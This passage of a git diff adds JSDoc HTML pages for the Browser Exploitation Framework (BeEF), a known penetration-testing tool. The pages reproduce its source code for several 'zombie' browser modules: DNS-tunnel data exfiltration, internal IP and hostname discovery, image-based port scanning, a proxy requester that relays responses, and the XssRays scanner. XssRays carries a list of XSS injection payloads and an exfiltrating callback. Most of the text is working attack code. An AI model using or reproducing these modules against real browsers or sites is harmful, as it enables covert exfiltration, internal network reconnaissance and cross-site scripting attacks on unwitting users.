+     * @param data 
+     * @param domain 
+     * @param callback 
+     */
+	send: function(msgId, data, domain, callback) {
+
+        var encode_data = function(str) {
+            var result="";
+            for(i=0;i<str.length;++i) {
+                result+=str.charCodeAt(i).toString(16).toUpperCase();
+            }
+            return result;
+        };
+
+        var encodedData = encodeURI(encode_data(data));
+
+        beef.debug(encodedData);
+        beef.debug("_encodedData_ length: " + encodedData.length);
+
+        // limitations to DNS according to RFC 1035:
+        // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
+        // o Domain names are limited to 255 characters in length (including dots)
+        // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
+        // o Subdomains are limited to 63 characters in length (including the trailing dot)
+
+        // DNS request structure:
+        // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
+      //max_length: 3.   3   .   3   . 63 . x
+
+        // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
+        // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
+        var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
+        var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
+        var max_data_segment_length = 63; // by RFC
+
+        beef.debug("max_data_segment_length: " + max_data_segment_length);
+
+        var dom = document.createElement('b');
+
+        String.prototype.chunk = function(n) {
+            if (typeof n=='undefined') n=100;
+            return this.match(RegExp('.{1,'+n+'}','g'));
+        };
+
+        var sendQuery = function(query) {
+            var img = new Image;
+            //img.src = "http://"+query;
+            img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
+            img.onload = function() { dom.removeChild(this); }
+            img.onerror = function() { dom.removeChild(this); }
+            dom.appendChild(img);
+
+            //experimental
+            //setTimeout(function(){dom.removeChild(img)},1000);
+        };
+
+        var segments = encodedData.chunk(max_data_segment_length);
+
+        var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
+
+        beef.debug(segments.length);
+
+        for (var seq=1; seq<=segments.length; seq++) {
+            sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
+        }
+
+		// callback - returns the number of queries sent
+		if (!!callback) callback(segments.length);
+
+	}
+
+};
+
+beef.regCmp('beef.net.dns');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_local.js.html b/docs/net_local.js.html new file mode 100644 index 000000000..c262ee815 --- /dev/null +++ b/docs/net_local.js.html @@ -0,0 +1,138 @@ + + + + + JSDoc: Source: net/local.js + + + + + + + + + + +
+ +

Source: net/local.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides networking functions for the local/internal network of the zombie.
+ * @namespace beef.net.local
+ */
+beef.net.local = {
+	
+	sock: false,
+	checkJava: false,
+	hasJava: false,
+	
+	/**
+	 * Initializes the java socket. We have to use this method because
+	 * some browsers do not have java installed or it is not accessible.
+	 * in which case creating a socket directly generates an error. So this code
+	 * is invalid:
+	 * sock: new java.net.Socket();
+	 */
+	initializeSocket: function() {
+		if(this.checkJava){	
+			if(!beef.browser.hasJava()) {
+				this.checkJava=True;
+				this.hasJava=False;
+				return -1;
+			}else{
+				this.checkJava=True;
+				this.hasJava=True;
+				return 1;
+			}
+		}
+		else{
+			if(!this.hasJava) return -1;
+			else{	
+				try {
+					this.sock = new java.net.Socket();
+				} catch(e) {
+					return -1;
+				}
+				return 1;
+			}
+		}
+	},
+	
+	/**
+	 * Returns the internal IP address of the zombie.
+	 * @return {String} the internal ip of the zombie.
+	 * @error return -1 if the internal ip cannot be retrieved.
+	 */
+	getLocalAddress: function() {
+		if(!this.hasJava) return false;
+		
+		this.initializeSocket();
+		
+		try {
+			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
+			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
+			
+			return this.sock.getLocalAddress().getHostAddress();
+		} catch(e) { return false; }
+	},
+	
+	/**
+	 * Returns the internal hostname of the zombie.
+	 * @return {String} the internal hostname of the zombie.
+	 * @error return -1 if the hostname cannot be retrieved.
+	 */
+	getLocalHostname: function() {
+		if(!this.hasJava) return false;
+		
+		this.initializeSocket();
+		
+		try {
+			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
+			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
+			
+			return this.sock.getLocalAddress().getHostName();
+		} catch(e) { return false; }
+	}
+	
+};
+
+beef.regCmp('beef.net.local');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_portscanner.js.html b/docs/net_portscanner.js.html new file mode 100644 index 000000000..6369bb2ec --- /dev/null +++ b/docs/net_portscanner.js.html @@ -0,0 +1,117 @@ + + + + + JSDoc: Source: net/portscanner.js + + + + + + + + + + +
+ +

Source: net/portscanner.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides port scanning functions for the zombie. A mod of pdp's scanner
+ * 
+ * Version: '0.1',
+ * author: 'Petko Petkov',
+ * homepage: 'http://www.gnucitizen.org'
+ * @namespace beef.net.portscanner
+ */
+
+beef.net.portscanner = {
+
+		/**
+		 * 
+		 * @param callback 
+		 * @param target 
+		 * @param port 
+		 * @param timeout 
+		 */
+		scanPort: function(callback, target, port, timeout) 
+		{
+			var timeout = (timeout == null)?100:timeout;
+			var img = new Image();
+
+			img.onerror = function () {
+				if (!img) return;
+				img = undefined;
+				callback(target, port, 'open');
+			};
+
+			img.onload  = img.onerror;
+			
+			img.src = 'http://' + target + ':' + port;
+
+			setTimeout(function () {
+				if (!img) return;
+				img = undefined;
+				callback(target, port, 'closed');
+			}, timeout);
+
+		},
+		/**
+		 * 
+		 * @param callback 
+		 * @param target 
+		 * @param ports_str 
+		 * @param timeout 
+		 */
+		scanTarget: function(callback, target, ports_str, timeout)
+		{
+			var ports = ports_str.split(",");
+
+			for (index = 0; index < ports.length; index++) {
+				this.scanPort(callback, target, ports[index], timeout);
+			};
+
+		}
+};
+
+beef.regCmp('beef.net.portscanner');
+
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_requester.js.html b/docs/net_requester.js.html new file mode 100644 index 000000000..6722ad6db --- /dev/null +++ b/docs/net_requester.js.html @@ -0,0 +1,92 @@ + + + + + JSDoc: Source: net/requester.js + + + + + + + + + + +
+ +

Source: net/requester.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * request object structure:
+ * + method: {String} HTTP method to use (GET or POST).
+ * + host: {String} hostname
+ * + query_string: {String} The query string is a part of the URL which is passed to the program.
+ * + uri: {String} The URI syntax consists of a URI scheme name.
+ * + headers: {Array} contain the operating parameters of the HTTP request. 
+ * @namespace beef.net.requester
+ */
+beef.net.requester = {
+	
+	handler: "requester",
+	/**
+     * 
+     * @param {array} requests_array 
+     */
+	send: function(requests_array) {
+        for(var i=0; i<requests_array.length; i++){
+            request = requests_array[i];
+            if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';
+            beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);
+            beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossDomain, request.id,
+                                       function(res, requestid) { beef.net.send('/requester', requestid, {
+                                           response_data: res.response_body,
+                                           response_status_code: res.status_code,
+                                           response_status_text: res.status_text,
+					                       response_port_status: res.port_status,
+                                           response_headers: res.headers});
+                                       }
+                                 );
+        }
+    }
+};
+
+beef.regCmp('beef.net.requester');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/net_xssrays.js.html b/docs/net_xssrays.js.html new file mode 100644 index 000000000..0c04398b1 --- /dev/null +++ b/docs/net_xssrays.js.html @@ -0,0 +1,550 @@ + + + + + JSDoc: Source: net/xssrays.js + + + + + + + + + + +
+ +

Source: net/xssrays.js

+ + + + + + +
+
+
/*
+ * XSS Rays
+ * Legal bit:
+ * Do not remove this notice.
+ * Copyright (c) 2009 by Gareth Heyes
+ * Programmed for Microsoft
+ * gareth --at-- businessinfo -dot- co |dot| uk
+ * Version 0.5.5
+ *
+ * This license governs use of the accompanying software. If you use the software, you
+ * accept this license. If you do not accept the license, do not use the software.
+ * 1. Definitions
+ * The terms "reproduce," "reproduction," "derivative works," and "distribution" have the
+ * same meaning here as under U.S. copyright law.
+ * A "contribution" is the original software, or any additions or changes to the software.
+ * A "contributor" is any person that distributes its contribution under this license.
+ * "Licensed patents" are a contributor's patent claims that read directly on its contribution.
+ * 2. Grant of Rights
+ * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.
+ * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.
+ * 3. Conditions and Limitations
+ * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.
+ * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.
+ * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.
+ * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.
+ * (E) The software is licensed "as-is." You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.
+ */
+
+/**
+ * XssRays 0.5.5 ported to BeEF by Michele "antisnatchor" Orru'
+ * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),
+ * if the vulnerability is triggered the JS code vector will contact back BeEF.
+ * Other aspects of the original code have been simplified and improved.
+ * @namespace beef.net.xssrays
+ */
+beef.net.xssrays = {
+    handler: "xssrays",
+    completed:0,
+    totalConnections:0,
+
+    // BeEF variables
+    xssraysScanId : 0,
+    hookedBrowserSession: "",
+    beefRayUrl: "",
+    // the following variables are overridden via BeEF, in the Scan Config XssRays sub-tab. 
+    crossDomain: false,
+    cleanUpTimeout:5000,
+
+    //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
+    vectors: [
+
+				  {input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
+				  {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
+				  {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
+  				  {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
+  				  {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},
+				  {input:'null\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}
+    ],
+    uniqueID: 0,
+    rays: [],
+    stack: [],
+
+    /**
+     * return true is the attack vector can be launched to the current browser type.
+     * @param {array} vector_array_index 
+     */
+    checkBrowser:function(vector_array_index){
+        var result = false;
+        var browser_id = this.vectors[vector_array_index].browser;
+        switch (browser_id){
+        case "ALL":
+            result = true;
+            break;
+        case "FF":
+            if(beef.browser.isFF())result=true;
+            break;
+        case "IE":
+            if(beef.browser.isIE())result=true;
+            break;
+        case "C":
+            if(beef.browser.isC())result=true;
+            break;
+        case "S":
+            if(beef.browser.isS())result=true;
+            break;
+        case "O":
+            if(beef.browser.isO())result=true;
+            break;
+        default : result = false;
+        }
+        beef.debug("==== browser_id ==== [" + browser_id + "], result [" + result + "]");
+        return result;
+    },
+
+    /**
+     * main function, where all starts :-)
+     * @param xssraysScanId 
+     * @param hookedBrowserSession 
+     * @param beefUrl 
+     * @param crossDomain 
+     * @param timeout 
+     */
+    startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {
+
+        this.xssraysScanId = xssraysScanId;
+        this.hookedBrowserSession = hookedBrowserSession;
+        this.beefRayUrl = beefUrl + '/' + this.handler;
+        beef.debug("Using [" + this.beefRayUrl  + "] handler to contact back BeEF");
+        this.crossDomain = crossDomain;
+        this.cleanUpTimeout = timeout;
+
+        this.scan();
+        beef.debug("Starting scan");
+        this.runJobs();
+    },
+    complete:function() {
+        if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) {
+            beef.debug("COMPLETE, notifying BeEF for scan id [" + beef.net.xssrays.xssraysScanId + "]");
+            $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: "finish"} );
+        } else {
+            this.getNextJob();
+        }
+    },
+    getNextJob:function() {
+        var that = this;
+        beef.debug("getNextJob - this.stack.length [" + this.stack.length + "]");
+        if (this.stack.length > 0) {
+            var func = that.stack.shift();
+            if (func) {
+                that.completed++;
+                func.call(that);
+            }
+        }else{ //nothing else to scan
+            this.complete();
+        }
+    },
+    scan:function() {
+        this.scanLinks();
+        this.scanForms();
+    },
+    scanPaths:function() {
+        this.xss({type:'path'});
+        return this;
+    },
+    scanForms: function() {
+        this.xss({type:'form'});
+        return this;
+    },
+    scanLinks: function() { //TODO: add depth crawling for links that are in the same domain
+        beef.debug("scanLinks, document.links.length [" + document.links.length + "]");
+        for (var i = 0; i < document.links.length; i++) {
+            var url = document.links[i];
+
+            if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {
+                beef.debug("Starting scanning URL [" + url + "]\n url.href => " + url.href +
+                    "\n url.pathname => " + url.pathname + "\n" +
+                    "url.search => " + url.search + "\n");
+                this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,
+                    search:url.search, type: 'url'});//scan each link & param
+            } else {
+                beef.debug('Scan is not Cross-domain.  URLS\nurl :' + url.hostname.toString());
+                beef.debug('\nlocation :' + location.hostname.toString());
+            }
+        }
+        if (location.search.length > 0) {
+            this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url
+        }
+        return this;
+    },
+    xss:function(target) {
+        switch (target.type) {
+            case "url":
+                if (target.search.length > 0) {
+                    target.search = target.search.slice(1);
+                    target.search = target.search.split(/&|&amp;/);
+
+                    if(beef.browser.isIE() && target.pathname.charAt(0) != "/"){ //the damn IE doesn't contain the forward slash in pathname
+                       var pathname = "/" + target.pathname;
+                    }else{
+                        var pathname = target.pathname;
+                    }
+
+                    var params = {};
+                    for (var i = 0; i < target.search.length; i++) {
+                        target.search[i] = target.search[i].split('=');
+                        params[target.search[i][0]] = target.search[i][1];
+                    }
+                    for (var i = 0; i < this.vectors.length; i++) {
+                        // skip the current vector if it's not compatible with the hooked browser
+                        if (!this.checkBrowser(i)){
+                            beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
+                            continue;
+                        }
+                        if (!this.vectors[i].url) {
+                            continue;
+                        }
+                        if (this.vectors[i].url) {
+                            if (target.port == null || target.port == "") {
+                                beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params
+                            } else {
+                                beef.debug("Starting XSS on GET params of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params
+                            }
+                        }
+                        if (this.vectors[i].path) {
+                            if (target.port == null || target.port == "") {
+                                beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths
+                            } else {
+                                beef.debug("Starting XSS on URI PATH of [" + target.href + "], passing url [" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + "]");
+                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths
+                            }
+                        }
+                    }
+                }
+                break;
+            case "form":
+                var params = {};
+                var paramsstring = "";
+                for (var i = 0; i < document.forms.length; i++) {
+                    var action = document.forms[i].action || document.location;
+                    var method = document.forms[i].method.toUpperCase() === 'POST' ?
+                        'POST' :
+                        'GET';
+
+                    for (var j = 0; j < document.forms[i].elements.length; j++) {
+                        params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;
+                    }
+                    for (var k = 0; k < this.vectors.length; k++) {
+
+                        // skip the current vector if it's not compatible with the hooked browser
+                        if (!this.checkBrowser(k)){
+                            beef.debug("Skipping vector [" + this.vectors[i].name + "] because it's not compatible with the current browser.");
+                            continue;
+                        }
+                        if (!this.vectors[k].form) {
+                            continue;
+                        }
+                        if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {
+                            beef.debug('Scan is not Cross-domain. FormPost\naction :' + this.host(action).toString());
+                            beef.debug('location :' + this.host(location));
+                            continue;
+                        }
+                        if (this.vectors[k].form) {
+                            if (method === 'GET') {
+                                beef.debug("Starting XSS on FORM action params, GET method of [" + action + "], params [" + paramsstring + "]");
+                                this.run(action, method, this.vectors[k], params, true);//params
+                            }
+                            else {
+                                beef.debug("Starting XSS on FORM action params, POST method of [" + action + "], params [" + paramsstring + "]");
+                                this.run(action, method, this.vectors[k], params, false);//params
+                            }
+                        }
+                        if (this.vectors[k].path) {
+                            beef.debug("Starting XSS on FORM action URI PATH of [" + action + "], ");
+                            this.run(action, 'GET', this.vectors[k], null, true);//paths
+                        }
+                    }
+                }
+                break;
+        }
+    },
+    host: function(url) {
+        var host = url;
+        host = /^https?:[\/]{2}[^\/]+/.test(url.toString())
+            ? url.toString().match(/^https?:[\/]{2}[^\/]+/)
+            : /(?:^[^a-zA-Z0-9\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())
+            ? ''
+            : location.hostname.toString();
+        return host;
+    },
+    fileName: function(url) {
+        return url.match(/(?:^[^\/]|^https?:[\/]{2}|^[\/]+)[^?]+/) || '';
+    },
+
+    urlEncode: function(str) {
+        str = str.toString();
+        str = str.replace(/"/g, '%22');
+        str = str.replace(/&/g, '%26');
+        str = str.replace(/\+/g, '%2b');
+        return str;
+    },
+
+    /**
+     * this is the main core function with the detection mechanisms...
+     * @param url 
+     * @param method 
+     * @param vector 
+     * @param params 
+     * @param urlencode 
+     */
+    run: function(url, method, vector, params, urlencode) {
+        this.stack.push(function() {
+
+            //check if the URL end with / . In this case remove the last /, as it will be added later.
+            // this check is needed only when checking for URI path injections
+            if(url[url.length - 1] == "/" && params == null){
+               url = url.substring(0, url.length - 2);
+               beef.debug("Remove last / from url. New url [" + url + "]");
+            }
+
+            beef.net.xssrays.uniqueID++;
+            beef.debug('Processing vector [' + vector.name + "], URL [" + url + "]");
+            var poc = '';
+            var pocurl = url;
+            var exploit = '';
+            var action = url;
+
+
+            beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};
+            var ray = this.rays[beef.net.xssrays.uniqueID];
+
+            var paramsPos = 0;
+            if (params != null) {
+                /*
+                 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++
+                 */
+                for (var i in params) {
+                    if (params.hasOwnProperty(i)) {
+
+                        if (!/[?]/.test(url)) {
+                            url += '?';
+                            pocurl += '?';
+                        }
+
+                        poc = vector.input.replace(/XSS/g, "alert(1)");
+                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';
+
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
+
+                        beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+
+                        exploit = vector.input.replace(/XSS/g, beefCallback);
+
+                        if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later
+                            url += i + '=' + exploit + '&';
+                        }else{
+                            url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';
+                        }
+
+                        paramsPos++;
+                    }
+                }
+            } else {
+                /*
+                 * ++++++++++ check for XSS in URI path (GET) ++++++++++
+                 */
+                var filename = beef.net.xssrays.fileName(url);
+
+                poc = vector.input.replace(/XSS/g, "alert(1)");
+                pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
+
+
+                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
+                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
+
+                beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                    + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+
+                exploit = vector.input.replace(/XSS/g, beefCallback);
+
+                //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.
+                //TODO: this need to checked and the slash shouldn't be added in this particular case
+                url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');
+            }
+            /*
+             * ++++++++++ create the iFrame that will contain the attack vector ++++++++++
+             */
+            if(beef.browser.isIE()){
+                try {
+                    var iframe = document.createElement('<iframe name="ray'+Math.random().toString() +'">');
+                } catch (e) {
+                    var iframe = document.createElement('iframe');
+                    iframe.name = 'ray' + Math.random().toString();
+                }
+            }else{
+                var iframe = document.createElement('iframe');
+                iframe.name = 'ray' + Math.random().toString();
+            }
+            iframe.style.display = 'none';
+            iframe.id = 'ray' + beef.net.xssrays.uniqueID;
+            iframe.time = beef.net.xssrays.timestamp();
+
+            if (method === 'GET') {
+                if(beef.browser.isC() || beef.browser.isS()){
+                    var datauri = btoa(url);
+                    iframe.src = "data:text/html;base64," + datauri;
+                }else{
+                    iframe.src = url;
+                }
+                document.body.appendChild(iframe);
+                beef.debug("Creating XSS iFrame with src [" + iframe.src + "], id[" + iframe.id + "], time [" + iframe.time + "]");
+            } else if (method === 'POST') {
+                /*
+                 * ++++++++++ check for XSS in body parameters (POST) ++++++++++
+                 */
+                var form = '<form action="' + beef.net.xssrays.escape(action) + '" method="post" id="frm">';
+                poc = '';
+                pocurl = action + "?";
+                paramsPos = 0;
+
+                beef.debug("Form action [" + action + "]");
+                for (var i in params) {
+                    if (params.hasOwnProperty(i)) {
+
+                        poc = vector.input.replace(/XSS/g, "alert(1)");
+                        poc = poc.replace(/<\/script>/g, "<\/scr\"+\"ipt>");
+                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';
+
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
+                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
+
+                        beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+                            + "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+
+                        exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
+                        form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';
+                        beef.debug("form param[" + i + "] = " + params[i].toString());
+
+                        paramsPos++;
+                    }
+                }
+                form += '<\/form>';
+                document.body.appendChild(iframe);
+                beef.debug("Creating form [" + form + "]");
+                iframe.contentWindow.document.writeln(form);
+                iframe.contentWindow.document.writeln('<script>document.createElement("form").submit.apply(document.forms[0]);<\/script>');
+                beef.debug("Submitting form");
+            }
+
+        });
+    },
+
+    /**
+     * run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value
+     */
+    runJobs: function() {
+        var that = this;
+        this.totalConnections = this.stack.length;
+        that.getNextJob();
+        setInterval(function() {
+            var numOfConnections = 0;
+            for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {
+                var iframe = document.getElementsByTagName('iframe')[i];
+                numOfConnections++;
+                //beef.debug("runJobs parseInt(this.timestamp()) [" + parseInt(beef.net.xssrays.timestamp()) + "], parseInt(iframe.time) [" + parseInt(iframe.time) + "]");
+                if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {
+                    try{
+                        if (iframe) {
+                            beef.net.xssrays.complete();
+                            beef.debug("RunJobs cleaning up iFrame [" + iframe.id + "]");
+                            document.body.removeChild(iframe);
+                        }
+                    }catch(e){
+			beef.debug("Exception [" + e.toString() + "] when cleaning iframes.")
+		    }
+                }
+            }
+
+            if (numOfConnections == 0) {
+                clearTimeout(this);
+            }
+
+        }, this.cleanUpTimeout);
+
+        return this;
+    },
+    timestamp: function() {
+        return parseInt(new Date().getTime().toString().substring(0, 10));
+    },
+    escape: function(str) {
+        str = str.toString();
+        str = str.replace(/</g, '&lt;');
+        str = str.replace(/>/g, '&gt;');
+        str = str.replace(/\u0022/g, '&quot;');
+        str = str.replace(/\u0027/g, '&#39;');
+        str = str.replace(/\\/g, '&#92;');
+        return str;
+    }
+
+};
+
+beef.regCmp('beef.net.xssrays');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
